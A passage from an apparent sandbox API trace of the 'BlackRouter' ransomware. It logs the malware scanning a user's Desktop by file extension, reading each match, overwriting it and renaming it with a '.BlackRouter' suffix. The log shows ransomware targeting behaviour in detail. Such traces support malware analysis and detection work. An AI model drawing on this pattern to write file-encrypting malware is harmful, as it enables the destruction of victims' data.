lpFindFileData=0x1ae4a0) returned 0x1ac59c20 [0040.420] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0040.420] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 0 [0040.421] FindClose (in: hFindFile=0x1ac59c20 | out: hFindFile=0x1ac59c20) returned 1 [0040.421] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9m_tAUVGaKw61h5LC.mkv", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9m_tAUVGaKw61h5LC.mkv", lpFilePart=0x0) returned 0x3b [0040.421] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9m_tAUVGaKw61h5LC.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9m_tauvgakw61h5lc.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.421] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x11e45 [0040.421] ReadFile (in: hFile=0x258, lpBuffer=0x29fefc0, nNumberOfBytesToRead=0x11e45, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x29fefc0*, lpNumberOfBytesRead=0x1ae708*=0x11e45, lpOverlapped=0x0) returned 1 [0040.425] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9m_tAUVGaKw61h5LC.mkv", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9m_tAUVGaKw61h5LC.mkv", lpFilePart=0x0) returned 0x3b [0040.425] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9m_tAUVGaKw61h5LC.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9m_tauvgakw61h5lc.mkv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.429] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9m_tAUVGaKw61h5LC.mkv", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9m_tAUVGaKw61h5LC.mkv", lpFilePart=0x0) returned 0x3b [0040.429] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9m_tAUVGaKw61h5LC.mkv.BlackRouter", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9m_tAUVGaKw61h5LC.mkv.BlackRouter", lpFilePart=0x0) returned 0x47 [0040.429] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9m_tAUVGaKw61h5LC.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9m_tauvgakw61h5lc.mkv"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fd28540, ftCreationTime.dwHighDateTime=0x1d462b5, ftLastAccessTime.dwLowDateTime=0x7d71ddd0, ftLastAccessTime.dwHighDateTime=0x1d458bb, ftLastWriteTime.dwLowDateTime=0xbe9cd170, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x11e50)) returned 1 [0040.429] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9m_tAUVGaKw61h5LC.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9m_tauvgakw61h5lc.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9m_tAUVGaKw61h5LC.mkv.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9m_tauvgakw61h5lc.mkv.blackrouter")) returned 1 [0040.430] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VWpMSp1AQFXz.mkv", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VWpMSp1AQFXz.mkv", lpFilePart=0x0) returned 0x36 [0040.430] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VWpMSp1AQFXz.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vwpmsp1aqfxz.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.430] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x567d [0040.431] ReadFile (in: hFile=0x258, lpBuffer=0x2a23840, nNumberOfBytesToRead=0x567d, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x2a23840*, lpNumberOfBytesRead=0x1ae708*=0x567d, lpOverlapped=0x0) returned 1 [0040.432] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VWpMSp1AQFXz.mkv", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VWpMSp1AQFXz.mkv", lpFilePart=0x0) returned 0x36 [0040.433] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VWpMSp1AQFXz.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vwpmsp1aqfxz.mkv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.435] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VWpMSp1AQFXz.mkv", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VWpMSp1AQFXz.mkv", lpFilePart=0x0) returned 0x36 [0040.435] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VWpMSp1AQFXz.mkv.BlackRouter", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VWpMSp1AQFXz.mkv.BlackRouter", lpFilePart=0x0) returned 0x42 [0040.436] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VWpMSp1AQFXz.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vwpmsp1aqfxz.mkv"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbf9230, ftCreationTime.dwHighDateTime=0x1d465c4, ftLastAccessTime.dwLowDateTime=0xe49b9280, ftLastAccessTime.dwHighDateTime=0x1d45645, ftLastWriteTime.dwLowDateTime=0xbe9cd170, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x5680)) returned 1 [0040.436] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VWpMSp1AQFXz.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vwpmsp1aqfxz.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VWpMSp1AQFXz.mkv.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vwpmsp1aqfxz.mkv.blackrouter")) returned 1 [0040.437] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.437] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.437] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.flv", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.437] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.437] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.438] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wma", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.438] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.438] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.438] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mid", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.438] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.438] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.438] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.m3u", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.439] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.439] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.439] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.m4u", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.439] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.439] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.439] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.svg", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.440] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.440] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.440] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.psd", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.440] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.440] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.440] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.tiff", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.441] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.441] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.441] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.tif", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.442] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.442] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.442] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.raw", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.442] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.442] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.442] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.gif", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0x1ac59c20 [0040.442] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0040.443] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 0 [0040.443] FindClose (in: hFindFile=0x1ac59c20 | out: hFindFile=0x1ac59c20) returned 1 [0040.443] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2We046o-scG.gif", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2We046o-scG.gif", lpFilePart=0x0) returned 0x35 [0040.443] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2We046o-scG.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2we046o-scg.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.443] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x977a [0040.443] ReadFile (in: hFile=0x258, lpBuffer=0x2a34cb0, nNumberOfBytesToRead=0x977a, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x2a34cb0*, lpNumberOfBytesRead=0x1ae708*=0x977a, lpOverlapped=0x0) returned 1 [0040.446] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2We046o-scG.gif", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2We046o-scG.gif", lpFilePart=0x0) returned 0x35 [0040.446] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2We046o-scG.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2we046o-scg.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.449] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2We046o-scG.gif", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2We046o-scG.gif", lpFilePart=0x0) returned 0x35 [0040.449] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2We046o-scG.gif.BlackRouter", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2We046o-scG.gif.BlackRouter", lpFilePart=0x0) returned 0x41 [0040.449] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2We046o-scG.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2we046o-scg.gif"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0f33a60, ftCreationTime.dwHighDateTime=0x1d465c9, ftLastAccessTime.dwLowDateTime=0x58a8f9a0, ftLastAccessTime.dwHighDateTime=0x1d45cd7, ftLastWriteTime.dwLowDateTime=0xbe9f32d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x9780)) returned 1 [0040.450] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2We046o-scG.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2we046o-scg.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2We046o-scG.gif.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2we046o-scg.gif.blackrouter")) returned 1 [0040.451] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yk0B b-PPwV_dE_H.gif", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yk0B b-PPwV_dE_H.gif", lpFilePart=0x0) returned 0x3a [0040.451] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yk0B b-PPwV_dE_H.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yk0b b-ppwv_de_h.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.451] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x3394 [0040.451] ReadFile (in: hFile=0x258, lpBuffer=0x2a48770, nNumberOfBytesToRead=0x3394, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x2a48770*, lpNumberOfBytesRead=0x1ae708*=0x3394, lpOverlapped=0x0) returned 1 [0040.453] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yk0B b-PPwV_dE_H.gif", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yk0B b-PPwV_dE_H.gif", lpFilePart=0x0) returned 0x3a [0040.453] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yk0B b-PPwV_dE_H.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yk0b b-ppwv_de_h.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.456] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yk0B b-PPwV_dE_H.gif", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yk0B b-PPwV_dE_H.gif", lpFilePart=0x0) returned 0x3a [0040.456] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yk0B b-PPwV_dE_H.gif.BlackRouter", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yk0B b-PPwV_dE_H.gif.BlackRouter", lpFilePart=0x0) returned 0x46 [0040.456] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yk0B b-PPwV_dE_H.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yk0b b-ppwv_de_h.gif"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d4ab540, ftCreationTime.dwHighDateTime=0x1d46562, ftLastAccessTime.dwLowDateTime=0x75c87190, ftLastAccessTime.dwHighDateTime=0x1d45a49, ftLastWriteTime.dwLowDateTime=0xbe9f32d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x33a0)) returned 1 [0040.456] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yk0B b-PPwV_dE_H.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yk0b b-ppwv_de_h.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yk0B b-PPwV_dE_H.gif.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yk0b b-ppwv_de_h.gif.blackrouter")) returned 1 [0040.457] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.457] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.457] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.png", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0x1ac59c20 [0040.458] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0040.458] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0040.458] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 0 [0040.458] FindClose (in: hFindFile=0x1ac59c20 | out: hFindFile=0x1ac59c20) returned 1 [0040.458] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NckKV8_xZjsWZGMLCFu9.png", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NckKV8_xZjsWZGMLCFu9.png", lpFilePart=0x0) returned 0x3e [0040.458] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NckKV8_xZjsWZGMLCFu9.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nckkv8_xzjswzgmlcfu9.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.458] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x14972 [0040.458] ReadFile (in: hFile=0x258, lpBuffer=0x2a508c8, nNumberOfBytesToRead=0x14972, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x2a508c8*, lpNumberOfBytesRead=0x1ae708*=0x14972, lpOverlapped=0x0) returned 1 [0040.462] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NckKV8_xZjsWZGMLCFu9.png", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NckKV8_xZjsWZGMLCFu9.png", lpFilePart=0x0) returned 0x3e [0040.462] CreateFileW 